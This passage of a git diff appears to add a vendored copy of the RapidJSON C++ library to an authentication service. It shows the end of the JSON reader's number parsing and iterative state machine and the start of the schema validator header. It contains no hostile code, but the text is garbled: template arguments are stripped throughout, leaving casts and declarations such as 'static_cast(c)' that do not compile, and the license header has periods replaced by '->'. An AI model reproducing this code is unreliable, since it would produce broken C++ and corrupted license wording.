kParseNumbersAsStringsFlag) { + if (parseFlags & kParseInsituFlag) { + s.Pop(); // Pop stack no matter if it will be used or not. + typename InputStream::Ch* head = is.PutBegin(); + const size_t length = s.Tell() - startOffset; + RAPIDJSON_ASSERT(length <= 0xFFFFFFFF); + // unable to insert the \0 character here, it will erase the comma after this number + const typename TargetEncoding::Ch* const str = reinterpret_cast(head); + cont = handler.RawNumber(str, SizeType(length), false); + } + else { + SizeType numCharsToCopy = static_cast(s.Length()); + GenericStringStream > srcStream(s.Pop()); + StackStream dstStream(stack_); + while (numCharsToCopy--) { + Transcoder, TargetEncoding>::Transcode(srcStream, dstStream); + } + dstStream.Put('\0'); + const typename TargetEncoding::Ch* str = dstStream.Pop(); + const SizeType length = static_cast(dstStream.Length()) - 1; + cont = handler.RawNumber(str, SizeType(length), true); + } + } + else { + size_t length = s.Length(); + const NumberCharacter* decimal = s.Pop(); // Pop stack no matter if it will be used or not. + + if (useDouble) { + int p = exp + expFrac; + if (parseFlags & kParseFullPrecisionFlag) + d = internal::StrtodFullPrecision(d, p, decimal, length, decimalPosition, exp); + else + d = internal::StrtodNormalPrecision(d, p); + + // Use > max, instead of == inf, to fix bogus warning -Wfloat-equal + if (d > (std::numeric_limits::max)()) { + // Overflow + // TODO: internal::StrtodX should report overflow (or underflow) + RAPIDJSON_PARSE_ERROR(kParseErrorNumberTooBig, startOffset); + } + + cont = handler.Double(minus ? -d : d); + } + else if (useNanOrInf) { + cont = handler.Double(d); + } + else { + if (use64bit) { + if (minus) + cont = handler.Int64(static_cast(~i64 + 1)); + else + cont = handler.Uint64(i64); + } + else { + if (minus) + cont = handler.Int(static_cast(~i + 1)); + else + cont = handler.Uint(i); + } + } + } + if (RAPIDJSON_UNLIKELY(!cont)) + RAPIDJSON_PARSE_ERROR(kParseErrorTermination, startOffset); + } + + // Parse any JSON value + template + void ParseValue(InputStream& is, Handler& handler) { + switch (is.Peek()) { + case 'n': ParseNull (is, handler); break; + case 't': ParseTrue (is, handler); break; + case 'f': ParseFalse (is, handler); break; + case '"': ParseString(is, handler); break; + case '{': ParseObject(is, handler); break; + case '[': ParseArray (is, handler); break; + default : + ParseNumber(is, handler); + break; + + } + } + + // Iterative Parsing + + // States + enum IterativeParsingState { + IterativeParsingFinishState = 0, // sink states at top + IterativeParsingErrorState, // sink states at top + IterativeParsingStartState, + + // Object states + IterativeParsingObjectInitialState, + IterativeParsingMemberKeyState, + IterativeParsingMemberValueState, + IterativeParsingObjectFinishState, + + // Array states + IterativeParsingArrayInitialState, + IterativeParsingElementState, + IterativeParsingArrayFinishState, + + // Single value state + IterativeParsingValueState, + + // Delimiter states (at bottom) + IterativeParsingElementDelimiterState, + IterativeParsingMemberDelimiterState, + IterativeParsingKeyValueDelimiterState, + + cIterativeParsingStateCount + }; + + // Tokens + enum Token { + LeftBracketToken = 0, + RightBracketToken, + + LeftCurlyBracketToken, + RightCurlyBracketToken, + + CommaToken, + ColonToken, + + StringToken, + FalseToken, + TrueToken, + NullToken, + NumberToken, + + kTokenCount + }; + + RAPIDJSON_FORCEINLINE Token Tokenize(Ch c) const { + +//!@cond RAPIDJSON_HIDDEN_FROM_DOXYGEN +#define N NumberToken +#define N16 N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N + // Maps from ASCII to Token + static const unsigned char tokenMap[256] = { + N16, // 00~0F + N16, // 10~1F + N, N, StringToken, N, N, N, N, N, N, N, N, N, CommaToken, N, N, N, // 20~2F + N, N, N, N, N, N, N, N, N, N, ColonToken, N, N, N, N, N, // 30~3F + N16, // 40~4F + N, N, N, N, N, N, N, N, N, N, N, LeftBracketToken, N, RightBracketToken, N, N, // 50~5F + N, N, N, N, N, N, FalseToken, N, N, N, N, N, N, N, NullToken, N, // 60~6F + N, N, N, N, TrueToken, N, N, N, N, N, N, LeftCurlyBracketToken, N, RightCurlyBracketToken, N, N, // 70~7F + N16, N16, N16, N16, N16, N16, N16, N16 // 80~FF + }; +#undef N +#undef N16 +//!@endcond + + if (sizeof(Ch) == 1 || static_cast(c) < 256) + return static_cast(tokenMap[static_cast(c)]); + else + return NumberToken; + } + + RAPIDJSON_FORCEINLINE IterativeParsingState Predict(IterativeParsingState state, Token token) const { + // current state x one lookahead token -> new state + static const char G[cIterativeParsingStateCount][kTokenCount] = { + // Finish(sink state) + { + IterativeParsingErrorState, IterativeParsingErrorState, IterativeParsingErrorState, IterativeParsingErrorState, IterativeParsingErrorState, + IterativeParsingErrorState, IterativeParsingErrorState, IterativeParsingErrorState, IterativeParsingErrorState, IterativeParsingErrorState, + IterativeParsingErrorState + }, + // Error(sink state) + { + IterativeParsingErrorState, IterativeParsingErrorState, IterativeParsingErrorState, IterativeParsingErrorState, IterativeParsingErrorState, + IterativeParsingErrorState, IterativeParsingErrorState, IterativeParsingErrorState, IterativeParsingErrorState, IterativeParsingErrorState, + IterativeParsingErrorState + }, + // Start + { + IterativeParsingArrayInitialState, // Left bracket + IterativeParsingErrorState, // Right bracket + IterativeParsingObjectInitialState, // Left curly bracket + IterativeParsingErrorState, // Right curly bracket + IterativeParsingErrorState, // Comma + IterativeParsingErrorState, // Colon + IterativeParsingValueState, // String + IterativeParsingValueState, // False + IterativeParsingValueState, // True + IterativeParsingValueState, // Null + IterativeParsingValueState // Number + }, + // ObjectInitial + { + IterativeParsingErrorState, // Left bracket + IterativeParsingErrorState, // Right bracket + IterativeParsingErrorState, // Left curly bracket + IterativeParsingObjectFinishState, // Right curly bracket + IterativeParsingErrorState, // Comma + IterativeParsingErrorState, // Colon + IterativeParsingMemberKeyState, // String + IterativeParsingErrorState, // False + IterativeParsingErrorState, // True + IterativeParsingErrorState, // Null + IterativeParsingErrorState // Number + }, + // MemberKey + { + IterativeParsingErrorState, // Left bracket + IterativeParsingErrorState, // Right bracket + IterativeParsingErrorState, // Left curly bracket + IterativeParsingErrorState, // Right curly bracket + IterativeParsingErrorState, // Comma + IterativeParsingKeyValueDelimiterState, // Colon + IterativeParsingErrorState, // String + IterativeParsingErrorState, // False + IterativeParsingErrorState, // True + IterativeParsingErrorState, // Null + IterativeParsingErrorState // Number + }, + // MemberValue + { + IterativeParsingErrorState, // Left bracket + IterativeParsingErrorState, // Right bracket + IterativeParsingErrorState, // Left curly bracket + IterativeParsingObjectFinishState, // Right curly bracket + IterativeParsingMemberDelimiterState, // Comma + IterativeParsingErrorState, // Colon + IterativeParsingErrorState, // String + IterativeParsingErrorState, // False + IterativeParsingErrorState, // True + IterativeParsingErrorState, // Null + IterativeParsingErrorState // Number + }, + // ObjectFinish(sink state) + { + IterativeParsingErrorState, IterativeParsingErrorState, IterativeParsingErrorState, IterativeParsingErrorState, IterativeParsingErrorState, + IterativeParsingErrorState, IterativeParsingErrorState, IterativeParsingErrorState, IterativeParsingErrorState, IterativeParsingErrorState, + IterativeParsingErrorState + }, + // ArrayInitial + { + IterativeParsingArrayInitialState, // Left bracket(push Element state) + IterativeParsingArrayFinishState, // Right bracket + IterativeParsingObjectInitialState, // Left curly bracket(push Element state) + IterativeParsingErrorState, // Right curly bracket + IterativeParsingErrorState, // Comma + IterativeParsingErrorState, // Colon + IterativeParsingElementState, // String + IterativeParsingElementState, // False + IterativeParsingElementState, // True + IterativeParsingElementState, // Null + IterativeParsingElementState // Number + }, + // Element + { + IterativeParsingErrorState, // Left bracket + IterativeParsingArrayFinishState, // Right bracket + IterativeParsingErrorState, // Left curly bracket + IterativeParsingErrorState, // Right curly bracket + IterativeParsingElementDelimiterState, // Comma + IterativeParsingErrorState, // Colon + IterativeParsingErrorState, // String + IterativeParsingErrorState, // False + IterativeParsingErrorState, // True + IterativeParsingErrorState, // Null + IterativeParsingErrorState // Number + }, + // ArrayFinish(sink state) + { + IterativeParsingErrorState, IterativeParsingErrorState, IterativeParsingErrorState, IterativeParsingErrorState, IterativeParsingErrorState, + IterativeParsingErrorState, IterativeParsingErrorState, IterativeParsingErrorState, IterativeParsingErrorState, IterativeParsingErrorState, + IterativeParsingErrorState + }, + // Single Value (sink state) + { + IterativeParsingErrorState, IterativeParsingErrorState, IterativeParsingErrorState, IterativeParsingErrorState, IterativeParsingErrorState, + IterativeParsingErrorState, IterativeParsingErrorState, IterativeParsingErrorState, IterativeParsingErrorState, IterativeParsingErrorState, + IterativeParsingErrorState + }, + // ElementDelimiter + { + IterativeParsingArrayInitialState, // Left bracket(push Element state) + IterativeParsingArrayFinishState, // Right bracket + IterativeParsingObjectInitialState, // Left curly bracket(push Element state) + IterativeParsingErrorState, // Right curly bracket + IterativeParsingErrorState, // Comma + IterativeParsingErrorState, // Colon + IterativeParsingElementState, // String + IterativeParsingElementState, // False + IterativeParsingElementState, // True + IterativeParsingElementState, // Null + IterativeParsingElementState // Number + }, + // MemberDelimiter + { + IterativeParsingErrorState, // Left bracket + IterativeParsingErrorState, // Right bracket + IterativeParsingErrorState, // Left curly bracket + IterativeParsingObjectFinishState, // Right curly bracket + IterativeParsingErrorState, // Comma + IterativeParsingErrorState, // Colon + IterativeParsingMemberKeyState, // String + IterativeParsingErrorState, // False + IterativeParsingErrorState, // True + IterativeParsingErrorState, // Null + IterativeParsingErrorState // Number + }, + // KeyValueDelimiter + { + IterativeParsingArrayInitialState, // Left bracket(push MemberValue state) + IterativeParsingErrorState, // Right bracket + IterativeParsingObjectInitialState, // Left curly bracket(push MemberValue state) + IterativeParsingErrorState, // Right curly bracket + IterativeParsingErrorState, // Comma + IterativeParsingErrorState, // Colon + IterativeParsingMemberValueState, // String + IterativeParsingMemberValueState, // False + IterativeParsingMemberValueState, // True + IterativeParsingMemberValueState, // Null + IterativeParsingMemberValueState // Number + }, + }; // End of G + + return static_cast(G[state][token]); + } + + // Make an advance in the token stream and state based on the candidate destination state which was returned by Transit(). + // May return a new state on state pop. + template + RAPIDJSON_FORCEINLINE IterativeParsingState Transit(IterativeParsingState src, Token token, IterativeParsingState dst, InputStream& is, Handler& handler) { + (void)token; + + switch (dst) { + case IterativeParsingErrorState: + return dst; + + case IterativeParsingObjectInitialState: + case IterativeParsingArrayInitialState: + { + // Push the state(Element or MemeberValue) if we are nested in another array or value of member. + // In this way we can get the correct state on ObjectFinish or ArrayFinish by frame pop. + IterativeParsingState n = src; + if (src == IterativeParsingArrayInitialState || src == IterativeParsingElementDelimiterState) + n = IterativeParsingElementState; + else if (src == IterativeParsingKeyValueDelimiterState) + n = IterativeParsingMemberValueState; + // Push current state. + *stack_.template Push(1) = n; + // Initialize and push the member/element count. + *stack_.template Push(1) = 0; + // Call handler + bool hr = (dst == IterativeParsingObjectInitialState) ? handler.StartObject() : handler.StartArray(); + // On handler short circuits the parsing. + if (!hr) { + RAPIDJSON_PARSE_ERROR_NORETURN(kParseErrorTermination, is.Tell()); + return IterativeParsingErrorState; + } + else { + is.Take(); + return dst; + } + } + + case IterativeParsingMemberKeyState: + ParseString(is, handler, true); + if (HasParseError()) + return IterativeParsingErrorState; + else + return dst; + + case IterativeParsingKeyValueDelimiterState: + RAPIDJSON_ASSERT(token == ColonToken); + is.Take(); + return dst; + + case IterativeParsingMemberValueState: + // Must be non-compound value. Or it would be ObjectInitial or ArrayInitial state. + ParseValue(is, handler); + if (HasParseError()) { + return IterativeParsingErrorState; + } + return dst; + + case IterativeParsingElementState: + // Must be non-compound value. Or it would be ObjectInitial or ArrayInitial state. + ParseValue(is, handler); + if (HasParseError()) { + return IterativeParsingErrorState; + } + return dst; + + case IterativeParsingMemberDelimiterState: + case IterativeParsingElementDelimiterState: + is.Take(); + // Update member/element count. + *stack_.template Top() = *stack_.template Top() + 1; + return dst; + + case IterativeParsingObjectFinishState: + { + // Transit from delimiter is only allowed when trailing commas are enabled + if (!(parseFlags & kParseTrailingCommasFlag) && src == IterativeParsingMemberDelimiterState) { + RAPIDJSON_PARSE_ERROR_NORETURN(kParseErrorObjectMissName, is.Tell()); + return IterativeParsingErrorState; + } + // Get member count. + SizeType c = *stack_.template Pop(1); + // If the object is not empty, count the last member. + if (src == IterativeParsingMemberValueState) + ++c; + // Restore the state. + IterativeParsingState n = static_cast(*stack_.template Pop(1)); + // Transit to Finish state if this is the topmost scope. + if (n == IterativeParsingStartState) + n = IterativeParsingFinishState; + // Call handler + bool hr = handler.EndObject(c); + // On handler short circuits the parsing. + if (!hr) { + RAPIDJSON_PARSE_ERROR_NORETURN(kParseErrorTermination, is.Tell()); + return IterativeParsingErrorState; + } + else { + is.Take(); + return n; + } + } + + case IterativeParsingArrayFinishState: + { + // Transit from delimiter is only allowed when trailing commas are enabled + if (!(parseFlags & kParseTrailingCommasFlag) && src == IterativeParsingElementDelimiterState) { + RAPIDJSON_PARSE_ERROR_NORETURN(kParseErrorValueInvalid, is.Tell()); + return IterativeParsingErrorState; + } + // Get element count. + SizeType c = *stack_.template Pop(1); + // If the array is not empty, count the last element. + if (src == IterativeParsingElementState) + ++c; + // Restore the state. + IterativeParsingState n = static_cast(*stack_.template Pop(1)); + // Transit to Finish state if this is the topmost scope. + if (n == IterativeParsingStartState) + n = IterativeParsingFinishState; + // Call handler + bool hr = handler.EndArray(c); + // On handler short circuits the parsing. + if (!hr) { + RAPIDJSON_PARSE_ERROR_NORETURN(kParseErrorTermination, is.Tell()); + return IterativeParsingErrorState; + } + else { + is.Take(); + return n; + } + } + + default: + // This branch is for IterativeParsingValueState actually. + // Use `default:` rather than + // `case IterativeParsingValueState:` is for code coverage. + + // The IterativeParsingStartState is not enumerated in this switch-case. + // It is impossible for that case. And it can be caught by following assertion. + + // The IterativeParsingFinishState is not enumerated in this switch-case either. + // It is a "derivative" state which cannot triggered from Predict() directly. + // Therefore it cannot happen here. And it can be caught by following assertion. + RAPIDJSON_ASSERT(dst == IterativeParsingValueState); + + // Must be non-compound value. Or it would be ObjectInitial or ArrayInitial state. + ParseValue(is, handler); + if (HasParseError()) { + return IterativeParsingErrorState; + } + return IterativeParsingFinishState; + } + } + + template + void HandleError(IterativeParsingState src, InputStream& is) { + if (HasParseError()) { + // Error flag has been set. + return; + } + + switch (src) { + case IterativeParsingStartState: RAPIDJSON_PARSE_ERROR(kParseErrorDocumentEmpty, is.Tell()); return; + case IterativeParsingFinishState: RAPIDJSON_PARSE_ERROR(kParseErrorDocumentRootNotSingular, is.Tell()); return; + case IterativeParsingObjectInitialState: + case IterativeParsingMemberDelimiterState: RAPIDJSON_PARSE_ERROR(kParseErrorObjectMissName, is.Tell()); return; + case IterativeParsingMemberKeyState: RAPIDJSON_PARSE_ERROR(kParseErrorObjectMissColon, is.Tell()); return; + case IterativeParsingMemberValueState: RAPIDJSON_PARSE_ERROR(kParseErrorObjectMissCommaOrCurlyBracket, is.Tell()); return; + case IterativeParsingKeyValueDelimiterState: + case IterativeParsingArrayInitialState: + case IterativeParsingElementDelimiterState: RAPIDJSON_PARSE_ERROR(kParseErrorValueInvalid, is.Tell()); return; + default: RAPIDJSON_ASSERT(src == IterativeParsingElementState); RAPIDJSON_PARSE_ERROR(kParseErrorArrayMissCommaOrSquareBracket, is.Tell()); return; + } + } + + RAPIDJSON_FORCEINLINE bool IsIterativeParsingDelimiterState(IterativeParsingState s) const { + return s >= IterativeParsingElementDelimiterState; + } + + RAPIDJSON_FORCEINLINE bool IsIterativeParsingCompleteState(IterativeParsingState s) const { + return s <= IterativeParsingErrorState; + } + + template + ParseResult IterativeParse(InputStream& is, Handler& handler) { + parseResult_.Clear(); + ClearStackOnExit scope(*this); + IterativeParsingState state = IterativeParsingStartState; + + SkipWhitespaceAndComments(is); + RAPIDJSON_PARSE_ERROR_EARLY_RETURN(parseResult_); + while (is.Peek() != '\0') { + Token t = Tokenize(is.Peek()); + IterativeParsingState n = Predict(state, t); + IterativeParsingState d = Transit(state, t, n, is, handler); + + if (d == IterativeParsingErrorState) { + HandleError(state, is); + break; + } + + state = d; + + // Do not further consume streams if a root JSON has been parsed. + if ((parseFlags & kParseStopWhenDoneFlag) && state == IterativeParsingFinishState) + break; + + SkipWhitespaceAndComments(is); + RAPIDJSON_PARSE_ERROR_EARLY_RETURN(parseResult_); + } + + // Handle the end of file. + if (state != IterativeParsingFinishState) + HandleError(state, is); + + return parseResult_; + } + + static const size_t kDefaultStackCapacity = 256; //!< Default stack capacity in bytes for storing a single decoded string. + internal::Stack stack_; //!< A stack for storing decoded string temporarily during non-destructive parsing. + ParseResult parseResult_; + IterativeParsingState state_; +}; // class GenericReader + +//! Reader with UTF8 encoding and default allocator. +typedef GenericReader, UTF8<> > Reader; + +RAPIDJSON_NAMESPACE_END + +#if defined(__clang__) || defined(_MSC_VER) +RAPIDJSON_DIAG_POP +#endif + + +#ifdef __GNUC__ +RAPIDJSON_DIAG_POP +#endif + +#endif // RAPIDJSON_READER_H_ diff --git a/services/service2/src/auth_service/rapidjson/schema.h b/services/service2/src/auth_service/rapidjson/schema.h new file mode 100644 index 0000000..188d659 --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/schema.h @@ -0,0 +1,2816 @@ +// Tencent is pleased to support the open source community by making RapidJSON available-> +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip-> All rights reserved-> +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License-> You may obtain a copy of the License at +// +// http://opensource->org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied-> See the License for the +// specific language governing permissions and limitations under the License-> + +#ifndef RAPIDJSON_SCHEMA_H_ +#define RAPIDJSON_SCHEMA_H_ + +#include "document.h" +#include "pointer.h" +#include "stringbuffer.h" +#include "error/en.h" +#include "uri.h" +#include // abs, floor + +#if !defined(RAPIDJSON_SCHEMA_USE_INTERNALREGEX) +#define RAPIDJSON_SCHEMA_USE_INTERNALREGEX 1 +#else +#define RAPIDJSON_SCHEMA_USE_INTERNALREGEX 0 +#endif + +#if !RAPIDJSON_SCHEMA_USE_INTERNALREGEX && defined(RAPIDJSON_SCHEMA_USE_STDREGEX) && (__cplusplus >=201103L || (defined(_MSC_VER) && _MSC_VER >= 1800)) +#define RAPIDJSON_SCHEMA_USE_STDREGEX 1 +#else +#define RAPIDJSON_SCHEMA_USE_STDREGEX 0 +#endif + +#if RAPIDJSON_SCHEMA_USE_INTERNALREGEX +#include "internal/regex.h" +#elif RAPIDJSON_SCHEMA_USE_STDREGEX +#include +#endif + +#if RAPIDJSON_SCHEMA_USE_INTERNALREGEX || RAPIDJSON_SCHEMA_USE_STDREGEX +#define RAPIDJSON_SCHEMA_HAS_REGEX 1 +#else +#define RAPIDJSON_SCHEMA_HAS_REGEX 0 +#endif + +#ifndef RAPIDJSON_SCHEMA_VERBOSE +#define RAPIDJSON_SCHEMA_VERBOSE 0 +#endif + +#if RAPIDJSON_SCHEMA_VERBOSE +#include "stringbuffer.h" +#endif + +RAPIDJSON_DIAG_PUSH + +#if defined(__GNUC__) +RAPIDJSON_DIAG_OFF(effc++) +#endif + +#ifdef __clang__ +RAPIDJSON_DIAG_OFF(weak-vtables) +RAPIDJSON_DIAG_OFF(exit-time-destructors) +RAPIDJSON_DIAG_OFF(c++98-compat-pedantic) +RAPIDJSON_DIAG_OFF(variadic-macros) +#elif defined(_MSC_VER) +RAPIDJSON_DIAG_OFF(4512) // assignment operator could not be generated +#endif + +RAPIDJSON_NAMESPACE_BEGIN + +/////////////////////////////////////////////////////////////////////////////// +// Verbose Utilities + +#if RAPIDJSON_SCHEMA_VERBOSE + +namespace internal { + +inline void PrintInvalidKeyword(const char* keyword) { + printf("Fail keyword: %s\n", keyword); +} + +inline void PrintInvalidKeyword(const wchar_t* keyword) { + wprintf(L"Fail keyword: %ls\n", keyword); +} + +inline void PrintInvalidDocument(const char* document) { + printf("Fail document: %s\n\n", document); +} + +inline void PrintInvalidDocument(const wchar_t* document) { + wprintf(L"Fail document: %ls\n\n", document); +} + +inline void PrintValidatorPointers(unsigned depth, const char* s, const char* d) { + printf("S: %*s%s\nD: %*s%s\n\n", depth * 4, " ", s, depth * 4, " ", d); +} + +inline void PrintValidatorPointers(unsigned depth, const wchar_t* s, const wchar_t* d) { + wprintf(L"S: %*ls%ls\nD: %*ls%ls\n\n", depth * 4, L" ", s, depth * 4, L" ", d); +} + +} // namespace internal + +#endif // RAPIDJSON_SCHEMA_VERBOSE + +/////////////////////////////////////////////////////////////////////////////// +// RAPIDJSON_INVALID_KEYWORD_RETURN + +#if RAPIDJSON_SCHEMA_VERBOSE +#define RAPIDJSON_INVALID_KEYWORD_VERBOSE(keyword) internal::PrintInvalidKeyword(keyword) +#else +#define RAPIDJSON_INVALID_KEYWORD_VERBOSE(keyword) +#endif + +#define RAPIDJSON_INVALID_KEYWORD_RETURN(code)\ +RAPIDJSON_MULTILINEMACRO_BEGIN\ + context.invalidCode = code;\ + context.invalidKeyword = SchemaType::GetValidateErrorKeyword(code).GetString();\ + RAPIDJSON_INVALID_KEYWORD_VERBOSE(context.invalidKeyword);\ + return false;\ +RAPIDJSON_MULTILINEMACRO_END + +/////////////////////////////////////////////////////////////////////////////// +// ValidateFlag + +/*! \def RAPIDJSON_VALIDATE_DEFAULT_FLAGS + \ingroup RAPIDJSON_CONFIG + \brief User-defined kValidateDefaultFlags definition. + + User can define this as any \c ValidateFlag combinations. +*/ +#ifndef RAPIDJSON_VALIDATE_DEFAULT_FLAGS +#define RAPIDJSON_VALIDATE_DEFAULT_FLAGS kValidateNoFlags +#endif + +//! Combination of validate flags +/*! \see + */ +enum ValidateFlag { + kValidateNoFlags = 0, //!< No flags are set. + kValidateContinueOnErrorFlag = 1, //!< Don't stop after first validation error. + kValidateDefaultFlags = RAPIDJSON_VALIDATE_DEFAULT_FLAGS //!< Default validate flags. Can be customized by defining RAPIDJSON_VALIDATE_DEFAULT_FLAGS +}; + +/////////////////////////////////////////////////////////////////////////////// +// Forward declarations + +template +class GenericSchemaDocument; + +namespace internal { + +template +class Schema; + +/////////////////////////////////////////////////////////////////////////////// +// ISchemaValidator + +class ISchemaValidator { +public: + virtual ~ISchemaValidator() {} + virtual bool IsValid() const = 0; + virtual void SetValidateFlags(unsigned flags) = 0; + virtual unsigned GetValidateFlags() const = 0; +}; + +/////////////////////////////////////////////////////////////////////////////// +// ISchemaStateFactory + +template +class ISchemaStateFactory { +public: + virtual ~ISchemaStateFactory() {} + virtual ISchemaValidator* CreateSchemaValidator(const SchemaType&, const bool inheritContinueOnErrors) = 0; + virtual void DestroySchemaValidator(ISchemaValidator* validator) = 0; + virtual void* CreateHasher() = 0; + virtual uint64_t GetHashCode(void* hasher) = 0; + virtual void DestroryHasher(void* hasher) = 0; + virtual void* MallocState(size_t size) = 0; + virtual void FreeState(void* p) = 0; +}; + +/////////////////////////////////////////////////////////////////////////////// +// IValidationErrorHandler + +template +class IValidationErrorHandler { +public: + typedef typename SchemaType::Ch Ch; + typedef typename SchemaType::SValue SValue; + + virtual ~IValidationErrorHandler() {} + + virtual void NotMultipleOf(int64_t actual, const SValue& expected) = 0; + virtual void NotMultipleOf(uint64_t actual, const SValue& expected) = 0; + virtual void NotMultipleOf(double actual, const SValue& expected) = 0; + virtual void AboveMaximum(int64_t actual, const SValue& expected, bool exclusive) = 0; + virtual void AboveMaximum(uint64_t actual, const SValue& expected, bool exclusive) = 0; + virtual void AboveMaximum(double actual, const SValue& expected, bool exclusive) = 0; + virtual void BelowMinimum(int64_t actual, const SValue& expected, bool exclusive) = 0; + virtual void BelowMinimum(uint64_t actual, const SValue& expected, bool exclusive) = 0; + virtual void BelowMinimum(double actual, const SValue& expected, bool exclusive) = 0; + + virtual void TooLong(const Ch* str, SizeType length, SizeType expected) = 0; + virtual void TooShort(const Ch* str, SizeType length, SizeType expected) = 0; + virtual void DoesNotMatch(const Ch* str, SizeType length) = 0; + + virtual void DisallowedItem(SizeType index) = 0; + virtual void TooFewItems(SizeType actualCount, SizeType expectedCount) = 0; + virtual void TooManyItems(SizeType actualCount, SizeType expectedCount) = 0; + virtual void DuplicateItems(SizeType index1, SizeType index2) = 0; + + virtual void TooManyProperties(SizeType actualCount, SizeType expectedCount) = 0; + virtual void TooFewProperties(SizeType actualCount, SizeType expectedCount) = 0; + virtual void StartMissingProperties() = 0; + virtual void AddMissingProperty(const SValue& name) = 0; + virtual bool EndMissingProperties() = 0; + virtual void PropertyViolations(ISchemaValidator** subvalidators, SizeType count) = 0; + virtual void DisallowedProperty(const Ch* name, SizeType length) = 0; + + virtual void StartDependencyErrors() = 0; + virtual void StartMissingDependentProperties() = 0; + virtual void AddMissingDependentProperty(const SValue& targetName) = 0; + virtual void EndMissingDependentProperties(const SValue& sourceName) = 0; + virtual void AddDependencySchemaError(const SValue& souceName, ISchemaValidator* subvalidator) = 0; + virtual bool EndDependencyErrors() = 0; + + virtual void DisallowedValue(const ValidateErrorCode code) = 0; + virtual void StartDisallowedType() = 0; + virtual void AddExpectedType(const typename SchemaType::ValueType& expectedType) = 0; + virtual void EndDisallowedType(const typename SchemaType::ValueType& actualType) = 0; + virtual void NotAllOf(ISchemaValidator** subvalidators, SizeType count) = 0; + virtual void NoneOf(ISchemaValidator** subvalidators, SizeType count) = 0; + virtual void NotOneOf(ISchemaValidator** subvalidators, SizeType count, bool matched) = 0; + virtual void Disallowed() = 0; +}; + + +/////////////////////////////////////////////////////////////////////////////// +// Hasher + +// For comparison of compound value +template +class Hasher { +public: + typedef typename Encoding::Ch Ch; + + Hasher(Allocator* allocator = 0, size_t stackCapacity = kDefaultSize) : stack_(allocator, stackCapacity) {} + + bool Null() { return WriteType(kNullType); } + bool Bool(bool b) { return WriteType(b ? kTrueType : kFalseType); } + bool Int(int i) { Number n; n.u.i = i; n.d = static_cast(i); return WriteNumber(n); } + bool Uint(unsigned u) { Number n; n.u.u = u; n.d = static_cast(u); return WriteNumber(n); } + bool Int64(int64_t i) { Number n; n.u.i = i; n.d = static_cast(i); return WriteNumber(n); } + bool Uint64(uint64_t u) { Number n; n.u.u = u; n.d = static_cast(u); return WriteNumber(n); } + bool Double(double d) { + Number n; + if (d < 0) n.u.i = static_cast(d); + else n.u.u = static_cast(d); + n.d = d; + return WriteNumber(n); + } + + bool RawNumber(const Ch* str, SizeType len, bool) { + WriteBuffer(kNumberType, str, len * sizeof(Ch)); + return true; + } + + bool String(const Ch* str, SizeType len, bool) { + WriteBuffer(kStringType, str, len * sizeof(Ch)); + return true; + } + + bool StartObject() { return true; } + bool Key(const Ch* str, SizeType len, bool copy) { return String(str, len, copy); } + bool EndObject(SizeType memberCount) { + uint64_t h = Hash(0, kObjectType); + uint64_t* kv = stack_.template Pop(memberCount * 2); + for (SizeType i = 0; i < memberCount; i++) + h ^= Hash(kv[i * 2], kv[i * 2 + 1]); // Use xor to achieve member order insensitive + *stack_.template Push() = h; + return true; + } + + bool StartArray() { return true; } + bool EndArray(SizeType elementCount) { + uint64_t h = Hash(0, kArrayType); + uint64_t* e = stack_.template Pop(elementCount); + for (SizeType i = 0; i < elementCount; i++) + h = Hash(h, e[i]); // Use hash to achieve element order sensitive + *stack_.template Push() = h; + return true; + } + + bool IsValid() const { return stack_.GetSize() == sizeof(uint64_t); } + + uint64_t GetHashCode() const { + RAPIDJSON_ASSERT(IsValid()); + return *stack_.template Top(); + } + +private: + static const size_t kDefaultSize = 256; + struct Number { + union U { + uint64_t u; + int64_t i; + }u; + double d; + }; + + bool WriteType(Type type) { return WriteBuffer(type, 0, 0); } + + bool WriteNumber(const Number& n) { return WriteBuffer(kNumberType, &n, sizeof(n)); } + + bool WriteBuffer(Type type, const void* data, size_t len) { + // FNV-1a from http://isthe.com/chongo/tech/comp/fnv/ + uint64_t h = Hash(RAPIDJSON_UINT64_C2(0x84222325, 0xcbf29ce4), type); + const unsigned char* d = static_cast(data); + for (size_t i = 0; i < len; i++) + h = Hash(h, d[i]); + *stack_.template Push() = h; + return true; + } + + static uint64_t Hash(uint64_t h, uint64_t d) { + static const uint64_t kPrime = RAPIDJSON_UINT64_C2(0x00000100, 0x000001b3); + h ^= d; + h *= kPrime; + return h; + } + + Stack stack_; +}; + +/////////////////////////////////////////////////////////////////////////////// +// SchemaValidationContext + +template +struct SchemaValidationContext { + typedef Schema SchemaType; + typedef ISchemaStateFactory SchemaValidatorFactoryType; + typedef IValidationErrorHandler ErrorHandlerType; + typedef typename SchemaType::ValueType ValueType; + typedef typename ValueType::Ch Ch; + + enum PatternValidatorType { + kPatternValidatorOnly, + kPatternValidatorWithProperty, + kPatternValidatorWithAdditionalProperty + }; + + SchemaValidationContext(SchemaValidatorFactoryType& f, ErrorHandlerType& eh, const SchemaType* s) : + factory(f), + error_handler(eh), + schema(s), + valueSchema(), + invalidKeyword(), + invalidCode(), + hasher(), + arrayElementHashCodes(), + validators(), + validatorCount(), + patternPropertiesValidators(), + patternPropertiesValidatorCount(), + patternPropertiesSchemas(), + patternPropertiesSchemaCount(), + valuePatternValidatorType(kPatternValidatorOnly), + propertyExist(), + inArray(false), + valueUniqueness(false), + arrayUniqueness(false) + { + } + + ~SchemaValidationContext() { + if (hasher) + factory.DestroryHasher(hasher); + if (validators) { + for (SizeType i = 0; i < validatorCount; i++) { + if (validators[i]) { + factory.DestroySchemaValidator(validators[i]); + } + } + factory.FreeState(validators); + } + if (patternPropertiesValidators) { + for (SizeType i = 0; i < patternPropertiesValidatorCount; i++) { + if (patternPropertiesValidators[i]) { + factory.DestroySchemaValidator(patternPropertiesValidators[i]); + } + } + factory.FreeState(patternPropertiesValidators); + } + if (patternPropertiesSchemas) + factory.FreeState(patternPropertiesSchemas); + if (propertyExist) + factory.FreeState(propertyExist); + } + + SchemaValidatorFactoryType& factory; + ErrorHandlerType& error_handler; + const SchemaType* schema; + const SchemaType* valueSchema; + const Ch* invalidKeyword; + ValidateErrorCode invalidCode; + void* hasher; // Only validator access + void* 